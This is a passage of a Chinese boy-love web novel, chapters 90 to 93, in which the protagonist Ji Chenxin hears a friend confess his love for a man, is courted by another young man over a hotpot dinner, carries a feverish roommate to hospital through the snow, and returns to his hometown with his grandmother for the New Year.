一个熟悉的身影迈出教室,从容不迫地远远走来,立在昏黄的廊灯下格外醒目。 等待的少年蓦地偏头扬起嘴角,眼尾微微上挑,噢,原来没逃课啊! 苏陌穿着裁剪利落的黑色大衣,领口随意搭着一条深灰色羊绒围巾,垂落的边角线条流畅,没有一丝褶皱。 下面是版型挺括的深色西裤,搭配一双擦得锃亮的黑色皮鞋,每一步踩在地板上,都发出沉稳又清脆的响声。 纪辰新站在窗边挥手,笑起来时,眼底像盛着碎光,“苏陌,这儿!” 话落,他便三两步跑了过去,浑身透着股无拘无束的鲜活劲儿。 苏陌气质清冷得像冬日里结了薄冰的湖面,单单站在那儿便自带着一种疏离。 猛然听到这声呼唤,少年原本平静清隽的眉眼瞬间精准捕捉到了什么。 他那双淡漠无焦点的眸子,像是寒夜突然亮起的星子,面上的疏离也瞬间裂开。 纪辰新? 少年愣了一秒,还以为是错觉。 随着视线中那人的靠近,他那原本轻抿的薄唇,微微向上弯了个极浅,极软的弧度,眼底的清冷渐渐被一种不易察觉的温柔取代,像冬日里悄悄融化薄冰,藏着只有自己知道的炙热与雀跃。 “你怎么来了?” 黑色大衣的光泽在头顶灯光的照耀下柔和却不张扬,处处透着低调的矜贵,与周遭裹着厚重棉服,步履匆匆的学生鲜明对比。 “等了很久吗,怎么不提前给我发消息?” 苏陌一连问了几个问题,很是紧张道。 纪辰新看着他干净的轮廓,仔细打量他的状态,“来看看你啊,这段时间过的还好吗?” 话刚落,身旁陡然出现一个陌生面孔。 “少爷,该回家了。” 闻言,纪辰新侧目看去,只见那青年低眉耷眼,看上去也就二十多岁,却对苏陌恭敬有加。 苏陌微微颔首,“知道了,我跟朋友聊两句话就走。” 纪辰新心领神会,“那我们边聊边出去吧。” 结果俩人并排走在一起,一时之间都不知道该说什么,诡异的沉默了。 纪辰新其实很想问问他,赵言权说的那些事是不是真的,但一打眼,就见那人还在苏陌旁边老老实实跟着,便闭了嘴。 苏陌下意识放缓了脚步,挺拔的脊背几不可察地松弛了些许,“我在电视上看了你的比赛,恭喜进入4强。” “额,谢谢。”纪辰新尬回。 少年的眼尾微微下敛,瞳色是偏深的墨色,鼻梁高挺,唇线明显,他越走越慢,最后竟在廊下停下,“说吧,找我什么事?” 少年非常人一般的敏锐,一下就看穿了纪辰新的吞吞吐吐。 纪辰新瞥了一眼他身旁的青年,苏陌立马给了他一个眼色,“这里是监控盲区,你走远一点。” 下一秒,那人居然真的听话走远了。 等人一走,纪辰新顿时就放松了下来,八卦道,“我去,你这究竟怎么回事啊?” “我听赵言权说了你的事,所以都是真的?” “嗯。”少年没有什么避讳的,大衣的下摆被风掀起一角,又稳稳落下,像他此刻毫无波澜的神情,“不算什么大事,别担心。” “怎么能不担心,你家都派人监视你了。”纪辰新有些着急道,“你打算怎么解决?” “或者,你有什么需要我帮忙的,尽管说。” 听着他的关心,少年的心底像是被投入一颗石子,泛起圈圈涟漪,他的指尖不自觉微微蜷起,又很快松开,随后不动声色地抚平大衣上并不存在的褶皱。 他没有立即说话,而是站在原地,目光牢牢锁在纪辰新身上,好一会儿,才淡然道,“真没事,我能解决,需要一点时间罢了。” 话落,他又想到了什么,道,“这段时间没有及时回复你的消息,我给你道歉。” “唉,还道什么歉啊,我知道你爷爷查你手机。”纪辰新摆了摆手,又觉得不对劲,“话说,你爷爷是不是管你管的太太太严了点,我们只是朋友啊,朋友之间聊天他也要查?” 闻言,对面少年张了张唇,却没说话,他那个手机里,几乎没加几个人,至于聊天,就更别提了,他从来都只跟纪辰新一个人聊。 所以,在老爷子查手机时,他就将之前他与纪辰新的聊天记录都删除了。 虽然之前逃赛的事,老爷子已经查过纪辰新,甚至被他糊弄过去了。 但他知道,他对纪辰新的特别,必然会引起老爷子的重视,所以他不想在事情还没解决之前,就让纪辰新面对这些。 “小心点总没错。”少年这般回答。 纪辰新叹气,语气惆怅,“这可怎么办,你家产还继不继承啊,你真要为了你那个心上人做到这地步?” 他惆怅是有原因的,毕竟苏衍还虎视眈眈地盯着这份家产呢,现在苏陌说不要就不要了,岂不是便宜了那家伙? 而且,他都没告诉苏陌,他现在就跟苏衍就住在同一个宿舍。 唉,还是别告诉了,以苏陌的个性,肯定会让他搬出来的。 “你跟苏衍相处的好吗?” 冷不丁的,少年口中突然冒出这么一句话,都给纪辰新干懵了,“好?好什么好!” “欸?” “我去,你什么时候知道的?” 纪辰新惊定不疑地看着他。 “有一段时间了,之前一直看你没跟我提,我也就当作什么都不知道,那天晚上找你来看沙发,也是想着让你从此搬过来,辅导员那边我都打好招呼了,结果发生了家里这些事,就不了了之了。” 苏陌淡淡叙述着。 他口吻冷静,分析道,“不过,那家伙没你聪明,想来他在你身上也讨不到好,后来也就放下了心。” “哈,果然还真是什么都瞒不过你啊。”纪辰新一时之间也释然了,“我可告诉你,他一直在盯着你的家产,我不跟你提,也是想看顾着他,怕他耍什么花招。” 苏陌摇了摇头,“这就是个烫手山芋,他若是想要,给他也无妨。” “你怎么能这么说,什么叫给他也无妨。”纪辰新不认可道,“给了他,就是给了你那个渣爹,还有你那个后妈。” “他们从小就算计你,就算不争馒头也要争口气吧。” 看着他气呼呼,为自己着想的模样,苏陌沉稳的呼吸都乱了半拍,“我都不介意,你为什么这么生气?” “我为什么生气?我是你朋友啊,我在为你打抱不平!”纪辰新恨铁不成钢道。 少年认真看着他,眸子里猝不及防漾开细碎的光,“谢谢你,我的朋友,有你,是我之幸。” “不过,你知不知道,争了就是向老爷子妥协,要接受他提出的联姻,更要为家里传宗接代。” 纪辰新蹙了眉头,“是有点棘手,联姻的事难道就不能再说说?” 碎发被风吹的凌乱,少年缓缓开口,神色笃定,“联姻不足挂齿,但传宗接代,恕我做不到!”!!! 周遭的空气仿佛被瞬间抽干,连漂浮的尘埃都僵在了半空,纪辰新的大脑一片空白。 等等 什么意思? 苏陌难道 有隐疾?! 我靠! 大新闻啊! “因为,我暗恋的是一位男生。” 哈? 什么? 转折来的这么快的吗! 居然不是隐疾 居然是喜欢男的?! 纪辰新脑子顿时成了一碗浆糊,脸上是极致的错愕,他狠狠咬了下舌尖,却丝毫拉不回他飘远的思绪。 这个世界终于颠了吗! 一个,两个 居然都喜欢男的!—— 作者有话说:无良作者:是颠了,还都喜欢你[坏笑]哈哈哈哈哈哈《 》 90-100 第91章 【系统, 我没听错吧?】 【他可是苏陌啊,他是男主,他怎么能】 纪辰新在崩溃的边缘反复重建心理防线。 系统也麻了:【可是男主的心思犹如海底针, 我也不知道】 看着少年明显傻掉的表情,苏陌轻笑了声,“吓到你了吗?” 纪辰新恍惚回神,尬笑,“呵呵,是有点我就是想不通, 男人到底有什么好, 怎么都” “都?”苏陌敏锐拎出这个字, “除了我,还有谁?” 他的视线逡巡地扫过眼前人,带着一种不自觉的期待, “难道你也” “欸, 不是我, 不是我。”纪辰新立即摆手, 阻止他天马行空的想法, “我可没有这种想法!” 苏陌略略失落,拧眉问道, “那是谁?有人给你告白了?” 纪辰新瞳孔一缩, 吓得手一抖, “没…没有,怎么会呢!” 他没想到苏陌居然这都能猜中。 看他这不同寻常的反应,苏陌顿时眯了眯眼,“所以真有人给你告白了,还是个男的。” 他说的太过笃定, 甚至还在猜,“一个多月前见你,你的反应还不是这样,在学校也几乎两点一线,那么唯一的意外便是去参加了一场比赛。” “所以,跟你告白的人是比赛中的” 说到这,他仔细观察着纪辰新的表情,看着他明显紧张的神情,心中的猜测立马有了八九分的肯定。 “是崔文和对吗!”!!! 纪辰新那刻吊着的死终于死了。 这怎么会猜的这么准?! 还是说崔文和平日里有表现出什么,让他看出来了? 几乎是话出口的那刻,苏陌就知道自己猜对了。 少年一错不错地打量纪辰新的神情,企图再看出点什么。 “说说吧,关于他的告白,你是什么想法?” 苏陌背光而立,周身拢着一层冷冽的光,下颌线绷得极紧,眼尾微微上挑转瞬间褪去所有温柔,瞳仁沉的像寒潭。 “难道你答应他了?” 他说这话时,往日漫不经心的矜贵感此刻尽数化作了沉甸甸的压迫感,连呼吸都带着克制的凌厉。 纪辰新从未看到过他这一面,一时愣住。 “怎么不说话?” 苏陌向前迈了一步,将人牢牢困在方寸之地,他微微俯身,骨节分明的手指倏然扣住纪辰新的手腕,力道不重,却带着不容挣脱的掌控欲。 “你喜欢他?” 说这话时,他指腹的微凉透过肌肤传来,更添了几分窒息感。 他眉峰微蹙,眼底翻涌着不易察觉的慌乱,见纪辰新不回答,那慌乱又化作更深的逼视。 纪辰新将被扣住的手扯了回来,生气道,“你胡说什么,我没答应,也不喜欢男的。” “不喜欢?”少年揪着这三个字,薄唇抿成一条直线,“如果他是女的你就喜欢了?” 纪辰新后退一步,咬牙切齿道,“男女,我都不喜欢!” “是吗?”苏陌挑眉看他,眸中情绪复杂,仿佛有什么东西即将破土而出。 看着他这反常的样子,纪辰新心里莫名打鼓,警惕道,“苏陌,我们现在还是好朋友对吗?” 这话犹如一记警钟,重重敲在了少年的心口。 苏陌霎时醒神,挣扎了好一会儿,神色才终于恢复正常,“当然!” 听到这个回答,纪辰新顿时松了口气,“那就好,那就好,你喜欢男的,我不发表任何意见,只要我们还是好朋友就行!” 只要还是好朋友就行? 简简单单的一句话生生在俩人之间划上了一条清晰的界限。 仿佛在告诉他,他们是朋友,也只能是朋友。 苏陌长长的睫毛垂下来,在眼睑下投出一片浅浅的阴影,手指微微收紧,指节泛白。 纪辰新不懂他心里的弯弯绕绕,“好了好了,扯远了,不是在说你的事吗,怎么扯到我了。” “总之你这个事确实棘手,你既性取向为男,那就根本没法实现你爷爷的目标。” “这样下去,你的家产怕是真要便宜苏衍了。” “我性取向不是男,我只对他一个人有感觉,这无关男女。”苏陌喉结滚动,声音不算高,却低哑的厉害,还带着不容置喙的穿透力。 他所有的情绪都被表层的清冷死死压住,他看着纪辰新眸中的迟疑,再次道,“我这辈子,非他不可!” 纪辰新被这句话震慑住了,一时忘记要说什么。 最终还是苏陌收回视线,扯出一个比哭还难看的笑,“我的事,已有对策,你不用担心,照顾好自己。” 说罢,他转身就走了。 纪辰新注视着他的背影,心里七上八下的,天才如苏陌,这次恐怕是真栽了吧! * 学校的日子,再次回归了平静。 只是纪辰新在面对苏衍时,态度比之前更差了。 他只要一想到,苏陌那些家产最终很可能全部落到苏衍手里,就感到悲哀,这都叫什么事啊! 苏衍倒是心情不错,因为他从父亲那得知苏陌居然跟爷爷吵架了,甚至还说出放弃继承权的话,把爷爷气进了医院。 这可是千载难逢的机会啊,他马不停蹄就接连几个礼拜去医院看望,刷好感。 时间一转,来到了期末考试周。 不管是学校图书馆还是寝室,都充斥着复习的氛围。 纪辰新平日里除了刷题就是下棋,或是观看森川曜的比赛视频,留意他的打法。 系统很满意他这种上进的状态,时不时的就夸他。 然而,唯一让纪辰新感到难为情的地方,便是每隔半月,崔文和会来学校找他一次。 起初,纪辰新是不愿意见他的,但无奈那家伙脸皮太厚了,直接就来他宿舍门口等,逢人就问。 这可把纪辰新逼的没办法,就怕他脑子一抽说出什么来。 考试周,大家都很忙,纪辰新也不例外。 这次崔文和又来了,纪辰新索性也不推脱,直接出去见了。 雌雄莫辨的少年,早已在学校的贴吧传开,甚至因美貌被开了好几个帖子。 大家议论他的风格迥异,男身女相,楼盖了不少,然而崔文和一点儿也不在乎。 毕竟他在围棋圈一直如此,只要有人崇拜他,就会有人讨厌他,他的争论一直都很大。 1月份的帝都,寒风裹着碎雪粒子刮过楼宇巷陌,天是沉郁的灰蓝,阳光吝啬得只肯漏下几缕薄光。 崔文和裹着一件白色的长款羽绒服,领口立的高高的,遮住半张脸,他墨色的长发被风拂得有些凌乱,几缕贴在颈侧,沾了点细碎的雪沫。 他下身穿着黑色加绒工装裤,裤脚塞进厚重的马丁靴里,行走时靴底踩在积雪上,发出“咯吱咯吱”的轻响。 纪辰新走在他身侧,因寒风多了几分瑟缩的拘谨。 崔文和原本以为自己要像前面两次一样,很久才能见到人,却没想到这次纪辰新居然爽快的答应了见面。 他那迎风而来早已冻住的身躯骤然活了过来,眸子亮了不少,眉梢都藏了欢喜。 “还以为你不愿见我呢。” 风还在吹,纪辰新拢了拢衣领,“这么冷,不出来让你挨冻吗?” “再说了,难道我不出来,你就愿意走?” 他这话说的无奈,因为他已经见识过了。 崔文和呼出一口白茫茫的雾团,落在睫毛上转瞬凝成细霜,轻笑出声,“多谢你的体恤。” “我们去吃火锅吧,这么冷的天气,只有吃火锅才能舒坦。” 纪辰新无所谓吃什么,既然出来了,他还是想跟崔文和讲清楚。 “铜锅涮羊肉怎么样?” “我都行,你看着办。” 崔文和选的店面在一个胡同里,门脸不大,木制招牌,红漆字体。 门口挂着叮铃铃的门铃,还未进去,就闻到一股混合着炭火、芝麻酱和羊肉的暖香。 屋里没有什么精致的装修,白墙有些发黄,但八仙桌摆的满满当当,铜锅子在桌上冒着热气。 进了里面,纪辰新就感觉没那么冷了,不少人将棉袄都脱了,袖口卷着,正用筷子夹着鲜切的羊肉往锅里涮。 俩人选了个靠墙的位置,服务员动作快,立即给俩人准备好了锅底和炭火。 崔文和将白色羽绒服脱下,里面是件深色高领毛衣,袖口随意挽到小臂,露出半截细瘦却有力的手腕,手腕上甚至还套着一只简单的银色项链,闪着微弱的光。 他给纪辰新调了酱,“希望你会喜欢。” 纪辰新点头致谢,他现在伤势已经好的差不多,吃东西也没了忌口,便拿了两罐可乐,给崔文和也开了一罐。 哪知,崔文和接过后,朝他惊喜地眨了下眼,“难道,这就是男友力?” 这话,纪辰新显然不知如何接,便没回复。 炭火劈里啪啦烧着,映得少年的脸暖融融的,崔文和盯了他好一会儿,促狭道,“终于有血色了,白里透红,真好看。” 纪辰新:“” 窗外的风还在呼啸,远处玻璃上凝着一层薄薄的水雾,馆子里的热气、香气、此起彼伏的说话声、笑声,把整个冬天的冷意都隔在了门外,只剩下满室的暖,和藏在热气后直白又缠绵的目光。 纪辰新终于受不了,“崔文和,你觉得这样有意思吗?” 少年将长发拢在耳后,偏头道,“瞧你这说的什么话,怎么会没意思,每次见到你,都可有意思了。” 纪辰新深深闭了下眼,“可我觉得没意思。” 铜锅的热气还在袅袅升腾,裹着芝麻酱的香气漫在空气里,可少年手里的筷子却顿在半空中,“纪辰新,别老说这样的话,我会伤心的。” 他紧抿着嘴角,眸光黯淡。 “你放心等你哪天有了喜欢的人,我会放手。” 说罢,他猛地端起面前的可乐仰头灌了一口,冰凉的汽水呛的他喉咙发紧,眼眶都酸了。 但他强忍着,把剩下的话都咽进了肚子里,只留下满心的涩意,和铜锅热气里渐渐冷却的欢喜。 骗你的! 即便有了喜欢的人,我也要把你抢过来! 第92章 紧张而又繁忙的考试周结束了。 纪辰新买了第二天回墨城的票, 侯杨和张景龙则是为了赶晚上的火车,提前两个小时就收拾好行李走了。 宿舍里,就剩下苏衍和纪辰新俩人。 只不过, 一向与他不对付的苏衍,自午饭后,居然一反常态的在床上睡觉。 按理来说,他家就在帝都,睡个午觉再收拾行李也正常,但一整个下午过去, 愣是没动, 这就很奇怪了。 纪辰新坐在床上下棋, 虽说是心无旁骛,但也不得不留意对面床的动静。 直到天黢黑,对面依旧一动不动, 纪辰新这才心里打鼓。 这丫的, 不会是死了吧? 思及此, 他放下了手中的棋, 爬下床, 站在苏衍床下。 “喂?” “苏衍?” “你还活着吗?” “还活着,你就应一句, 别吓人啊!” 然而, 回应他的是一片死寂, 霎时间,纪辰新脑子都炸了,想也不想就爬上了他的床,试探他的呼吸。 还好,还好还有呼吸! 随后, 纪辰新便观察起了他的面色。 皮肤灼热发红,两颊、额头红热感明显,嘴唇偏红干裂起皮。 这是发烧了呀,甚至还陷入了昏睡。 得出结论,纪辰新也不敢耽搁,用力摇醒苏衍。 “喂,醒醒,别睡了。” 说着,他就拍了拍他的面颊,给他提神,“快醒醒!” 苏衍完全没了意识,纪辰新知道这样下去不行,校医早已离校,而距离学校最近的医院也有好几公里。 看来得打120了。 他习惯了遇事自己解决,便率先拨打了120,随后又将苏衍扶了起来,给他穿好羽绒服,“走,带你去医院。” “你配合点,不然老子不管你了!” 也不知道是哪句话刺激了昏睡中的人,只见一直闭着眼的某人,终于有了意识,朦朦胧胧睁开眼,睨着面前人好一会儿,肢体才没那么僵硬,开始配合了起来。 穿衣的过程还算顺利,但面对下床的难题,纪辰新也没了办法。 “喂,你清醒了没有。” “给你两种方法,第一是你自己下,我在下面接着,预防你摔倒。” “第二是算了没有第二种,老子才不想背你。” 话落,他便自己率先下了床,留明显不在状态的苏衍一个人在床上。 “好了,你下来吧,我在下面看顾着。” 苏衍此刻虽然有了点意识,但整个人毫无力气,不过他也知道必须去医院,不然只会更难受。 于是,他手脚并用的爬下了床。 头重脚轻的他,刚爬下来第一步,就四肢无力,直接摔了下来。 纪辰新瞳孔一缩,到底还是护着他的脑袋没摔到地上,其他方面却是管不了了。 好在,摔的这一跤,让苏衍吃痛,更清醒了点。 “你穿好鞋,我们马上出发。” 纪辰新担忧地看了眼窗外的雪,猜想120估计开不进来,那就只能他们自己出去了。 然而,乍一回头,却发现苏衍有气无力地坐在凳子上,眼睛再次闭了过去,鞋也没穿。 纪辰新上前,再次摇醒他,“喂,你还去不去医院?” 苏衍用力睁开眼,始终没有力气,现在别说是穿鞋了,他头昏脑胀还能拥有一丝意识已经算不错了。 纪辰新瞧了会儿,终是叹了口气。 随后背对他蹲下,将他整个人背了起来,“记住了,这次算你欠我的!” 他也不管鞋不鞋了,直接背着人就往外走。 夜的寒气像无数细碎的冰刃,割过裸露的皮肤,铅灰色的天幕下,碎雪簌簌飘落,给空旷的校园镀上一层白。 路灯在昏黄的光晕里,少年单薄的身影踉跄且坚定,背上人的气息微弱,额头的热意挨着脖颈,在刺骨的寒风中晕开一小片暖。 纪辰新呼出的白气瞬间背夜风打散,每一步都踩在积雪上,发出‘咯吱’的轻响,在寂静的夜里格外清晰。 冰冷的雪沫落在苏衍的发梢、肩头、睫毛,融化成水珠顺着衣领滑了进去。 冰凉的触感,让少年混沌的意识陡然转醒,他费力地掀开眼皮,视线模糊中,映出的是纪辰新紧绷的下颌线,还有发梢凝结的细碎冰粒。 曾几何时,他每每看到这张脸总是带着巨人千里的冷淡。 他们每一次对视都透着针锋相对的疏离,他知道纪辰新对自己的厌恶,以及俩人无形之间的较量。 可此刻,这具从来没给过他好脸色的身躯,却成了他唯一的支撑。 心头涌上复杂的滋味,冰与火在交织,他第一次感受到被守护的酸涩。 从前,他以为母亲很爱他,但母亲的爱从来都是有要求的。 还记7岁那年,他同样病的很严重,但母亲却利用他的病,把父亲喊回来,全然不顾他有多难受,只一个劲的告诫他,“再忍忍,再忍忍,等你爸看到了,才会心有愧疚。” 小小年纪的他,那时候模糊的明白,原来母亲根本不爱他,但母亲也不爱父亲,因为她只爱她自己。 她要父亲的爱,却从不付出。 她要父亲的金钱地位,就一直算计。 即便是儿子,也只不过是她争权夺利路上的工具人。 就如这一个多月以来,母亲时不时打电话过来要他去讨爷爷欢心,但她却在自己夙兴夜寐照顾爷爷,表示身体不舒服时,无动于衷。 他早就应该知道的,母亲不爱父亲,那自然也不会爱她与父亲生下来的孩子。 而父亲,他什么都听母亲的,母亲让他往东,他绝不往西。 久而久之,母亲对他的要求,也变成了父亲对他的要求。 他们都不爱他,他却极其渴望这份爱! 他一直以为自己跟苏陌比起来至少更幸福,毕竟父母都在身边,然而此时此刻他却觉得自己很可悲。 因为苏陌什么都不用做,就能轻易获得爷爷奶奶毫无私心的爱,以及像纪辰新这样真心实意的朋友。 他却什么都没有。 苏衍靠在少年的背上,下意识蜷缩了一下,他带着自己都未曾察觉的依赖,将脸埋进对方的颈窝,鼻尖萦绕着对方身上清冷的雪气与淡淡的暖意,眼眶莫名发热。 这一刻,他想,他也偷偷拥有了吧。 * 将人背到校外时,救护车已准时到位。 纪辰新累的满头大汗,将人卸下来交给医生护士,却发现苏衍紧紧攥着他的衣角不放手。 他其实没想跟着去医院的,但护士说必须有一个人陪着,没了办法,他就只能一同过去了。 结果,听到他同意过去,苏衍那攥着他衣角的手莫名就松了下来。 纪辰新擦着汗,一路跟车去到了医院。 两个小时后。 苏衍的床位已经安排好,吊水也已经挂上。 纪辰新守在他病床前研究他的手机,尝试给他父母打电话。 但苏衍的手机设置了密码,一时竟不知道该如何是好,他总不能一直在这守着,明天上午还得赶去火车站呢。 其实,他可以打电话给苏陌寻求帮助,但一想到那俩也是不对付的关系,甚至苏陌目前的处境,他就不愿去添麻烦了。 好在,苏衍挂了几瓶水后,终于悠然转醒。 此刻,时间已经是晚上九点,纪辰新站在窗边观看雪景。 “水” “水” 听到动静,纪辰新豁然回头,靠近了才知道他要喝水,便倒了杯水给他。 苏衍躺着没法喝,纪辰新又无奈地将他扶起来,然后将杯子塞他手里,“喝吧。” 苏衍苍白着脸,总算有力气说话了,“我都病成这样了,你就不能喂我吗?” “你当我们俩是什么关系,还想让我喂你?”纪辰新没好气道。 “可是你之前都背我了,关系还不算好吗?”苏衍并不在意他的夹枪带棒。 纪辰新哂笑,“那是因为我善,怕你死了赖上我。” “那怕是要令你失望了,我现在感觉很好。”苏衍回怼他,“暂时是不会死了。” 俩人说不了几句话就开始不对付,不过心境较之以前还是大为不同。 纪辰新救他是因为做人的底线,原则在这。 苏衍却因此对他改观很大,这一次是真心的想要与他结交。 从前他总在想,苏陌为何会对纪辰新与众不同,经此一事,他终于也是感同身受。 这人明明对他厌恶至极,却还是愿意施以援手,背着他走过漫漫雪夜,这样的品性,确是世间少有。 “纪辰新,我” “时间不早了,我要回学校了,我买了明天上午的票回墨城,你记得给你爸妈打电话说一声,让他们过来陪你。” 纪辰新突然道。 他说着,就又给苏衍倒了杯水,放在床边,“渴了就喝。” 苏衍抿了下唇,顿时将想要说的话全部咽了回去,他盯着纪辰新,机械地说出那六个字,“路上注意安全!” “嗯,走了。” 纪辰新头也不回的离开了。 苏衍捏着自己的手机,始终没有拨电话出去,他知道没有人会在意自己,就算打了也是白打,甚至还会遭受一顿指责,怪他为什么那么没用。 纪辰新回去时搭乘的公交,大概半个小时就抵达了校门口。 刺骨的寒风中,纪辰新戴上了棉服自带的帽子,将漫天风雪隔绝开,直到兜里传出一声叮铃。 他掏出手机,意外地看到苏衍给他的转账。 【谢谢你为我垫付的医药费,多出的五百,算是我的感谢,请你务必收下。】 纪辰新没道理跟钱过不去,很自然就收了,毕竟背他这一路就算没有功劳也是有苦劳的。 苏衍的消息并未停: 【以前的事多有得罪,我跟你道歉,对不起。】 【还有,不知此后,我我们】 苏衍靠在病床上,始终没勇气敲下最后这几个字。 他不仅没底气,还害怕! 第93章 经历将近二十个小时的火车, 纪辰新终于回到了墨城。 得知消息的李春兰,一早就去镇上等着了。 纪辰新回来还带了帝都的特产,一见到奶奶就高兴地拥抱了她, “你说你这小老太太,在家等着就是了,怎么还跑出来接?” 李春兰喜笑颜开,握住孙儿的手,一个劲儿念叨,“让我看看, 这么久没见, 是不是瘦了?” “没瘦没瘦, 对了这是帝都买的小玩意儿,一些糕点,您尝尝。”纪辰新将手里提着的东西递了过去。 李春兰高兴接过, “好, 一会儿尝, 饿不饿, 回家, 奶奶给你做好吃的。” 说罢,祖孙俩便打了个车往家赶。 车上, 李春兰还一脸担忧地瞧着孙儿, “你那儿伤” 纪辰新摆了摆手, “已经好的差不多了,我在帝都郑医生的导师那儿复查过好几次,说是没问题了。” 是了,郑医生的导师就在帝都某个权威医院上班,当时纪辰新不想墨城和帝都两地来回跑, 费时费力还费钱,所以郑医生就提到了自己的导师,一个很出名的专家。 也是因着郑医生的开口,他那个导师才答应了纪辰新可以每两周过去他那儿检查一次。 李春兰其实早就知道这一切,但她还是很担心孙儿的状况,生怕哪里出了差错,没治好就完了。 纪辰新安抚她,“人家郑医生的导师,那可是比郑医生还厉害的存在,怎么会出差错,奶奶你就是瞎操心!” 怕她不相信,纪辰新直接搂起衣服,“喏,看到结的痂没?” “好好好,相信,奶奶相信了,快放下衣服,别冷着了。”李春兰眼见为实,瞬间放下了心。 实际上,墨城的天气四季如春,不算冷,所以纪辰新即便搂起衣服也没感觉到寒冷,甚至还因着自己穿的太多,觉得热。 所以,当他回到家时,就将外套脱了。 李春兰一头扎进了厨房,给他弄各种好吃的。 纪辰新回到了自己房间,房间所有的一切都收拾的干干净净,一如当初自己刚离家时那样,可见奶奶每天都有在打扫。 炒菜的间隙,李春兰还洗了水果出来,“还要等一会儿才能吃饭,先吃点水果垫吧一下。” 纪辰新其实无所谓,他让奶奶简单炒两菜对付一下就行了。 但李春兰总觉得孙儿在外受苦了,没吃什么好东西,就想给他补补。 既如此,纪辰新也不再说什么了,他安安静静收拾起自己的行李,将从学校带回来的东西,都一应归置好。 等正式吃饭,已经是一个小时后了。 饭桌上,排骨、红烧肉、清蒸鱼、小鸡炖蘑菇、还有一份青菜,简直是色香味俱全。 纪辰新看着都笑了,“奶奶,你是要过年吗?” “这怕是吃两天都吃不完吧!” 虽然他饭量大,但架不住老太太炒的菜量更大。 “那就少吃饭,多吃菜。” 老太太总有自己的一套解释。 俩人吃饭间隙,问到了他这次寒假时间多久。 纪辰新算了算日子,“大概一个月左右吧。” 李春兰点了下头,“距离过年也就半个月了,今年你有什么想去的地方吗?” 想去的地方? 纪辰新明显感觉到了一丝不对劲,往年奶奶从不说这样的话。 毕竟他们俩从来到墨城就无牵无挂的,也没有亲戚要走,所以过年一直都是祖孙俩一块儿过。 “奶奶您想去哪?” 他试探问出口,“您想去哪,我都可以陪您去。” 老太太吃了几口菜,最终还是说出了自己的想法,“其实我想回江洲看看。” “那是奶奶生活了大半辈子的地方。” “既然纪知远已经入狱,现在好像也没什么好怕的了。” “这次我们回去过年,你觉得怎么样?” 说罢,老太太小心翼翼地观察孙儿的脸色,唯恐他不同意。 纪辰新沉默了好一会儿,才道,“我都行,但你想好如何面对王婶了吗?” “当初她做的那事,见了面该有多尴尬啊。” 李春兰立即道,“没事,该尴尬该心里有愧的是她,我们回我们的,碍着她什么事了!” 老太太说的在理,纪辰新也是把隐患提前说给她听罢了。 既然她自己都觉得无所谓,纪辰新就更没什么好顾虑的了。 “那你想什么时候回去?” 纪辰新开始估算起行程,以及过去之后的住宿,吃饭等问题,票也得早点买,临近过年票务都很紧张的。 “不急,不急的,一个礼拜后出发就行,奶奶已经算过了,我们就租一个小院子,江洲的物价并不贵,花费不了多少。” “反正在墨城过年也是过,还不如回江洲过。” “什么街坊邻居,还有好些朋友,奶奶都想去见见,拜访拜访。” 纪辰新点头,“那过去了,是不是得带点墨城的特产?我们总不能空着手过去吧?” 一说到这个,李春兰饭都不吃了,“哎呀,你说的对,这奶奶都没想到。” “我现在就去街上看看!” 纪辰新都服了她,紧急拉住她,“好了,你这个急性子,先吃饭行不行?” “特产又不会跑,你急这一时半会儿有什么用。” 好说歹说将人劝了下来,但吃完饭一溜烟的功夫,李春兰就上街去了。 纪辰新收拾起碗筷,开始洗碗。 * 一周的时间过去,祖孙俩已经将家里收拾的井井有条,就连家里剩下的那两只鸡,李春兰都早早拿到集市上卖了。 纪辰新早已买好了票,还买的是卧铺,就怕老太太年纪大了扛不住。 俩人大包小包,带了不少东西,其中老太太要带的特产都占了不少空间。 回去江洲的路途,老太太别提有多兴奋和期待了。 但随着距离越来越近,老太太这种近乡情怯的感觉越来越明显。 “小新啊,你看看奶奶这些年是不是老了不少?” 纪辰新夸她,“没有呢,墨城的风水养人,奶奶比七年前更显年轻了。” “你这小嘴跟抹了蜜似的。”李春兰边说边笑,“也不知道我那几个老闺蜜如今怎么样了。” 她的语气带着惆怅,纪辰新哪里不知道,奶奶害怕的是与大家不复从前,关系变的疏远。 但离开了这么久,又怎么敢赌人心呢,人心往往瞬息万变。 还记得离开的那年是冬天,现在回来居然也是冬天。 时过境迁,有些东西终究是不同了。 火车哐啷声持续了一整晚,一直到第二天早上,广播恰逢其时响起:“各位旅客朋友们,早上好,前方即将到达的车站是—江洲。” “请您提前整理好随身携带的行李物品,手机,身份证等贵重物品,避免遗漏。” “江洲到站后,下车的旅客请从列车前进方向的右侧有序下车,注意脚下安全” 早已将一切收拾妥当的祖孙二人,怀着忐忑的心情下了车。 这次回来,俩人依旧没跟任何人说。 站在江洲火车站的出口,呼吸着江洲的空气,老太太肉眼可见地松弛了下来。 “小新你闻,这就是江洲的气味,湿湿的,还有股稻田的腥气。” 李春兰仿佛被一双温暖的手抚平了所有的疲惫,她所有的紧绷都化为乌有,“这个气味只有江洲有。” 纪辰新知道她说的是什么,在老太太心里,这估摸着是独属于家乡的味道。 顷刻间,便让人卸下包袱与伪装。 “奶奶,要不要吃碗粉?我看那儿有卖。” “江洲的粉,是墨城做不出来的口味。” 老太太听完欣然同意,“好,乖孙儿,我们今天早上就吃粉。” * 一碗粉下肚,纪辰新总算有了已经回到江洲的实感。 接下来是入住酒店,但却与老太太的想法产生了分歧,因为她想要住到原来那个巷子的周边去。 然而,在纪辰新看来,租房子,还是短租,哪有那么容易。 最后,还是俩人各退了一步,决定先在酒店住上两天,等找到房子后再搬过去。 找房子的事,毫无疑问落到了纪辰新身上,他为了满足奶奶的要求,尽量找了个离原来住处只有两公里的地方。 好在,不到两天,他们就搞定了住处,这让李春兰都欣喜不已。 之后,俩人便顺利的搬了过去。 虽然已经回到江洲,但俩人都心照不宣地没提去探望,拜访老朋友的事,因为这在心里多少还是有些恐慌的。 当初不告而别的是自己,现在悄摸声息回来的还是自己,怎么说怎么别扭。 这一切,都需要一个破冰的机会,也就是有一个台阶下。 纪辰新看着奶奶一天天心事重重,犹犹豫豫不敢出去的模样,便决定这台阶由他来递。 这日,他借着外出买菜的由头,直接就去了原来生活过的巷子。 记忆中的巷子,碎石铺满整条路,如今却全换成了水泥地。 记忆中的巷子,家家户户外墙老旧,如今却都换上了新瓷砖。 记忆中的巷子,还没进去,就能听到小黑的犬吠声,如今却只能听到摩托车的轰鸣声。 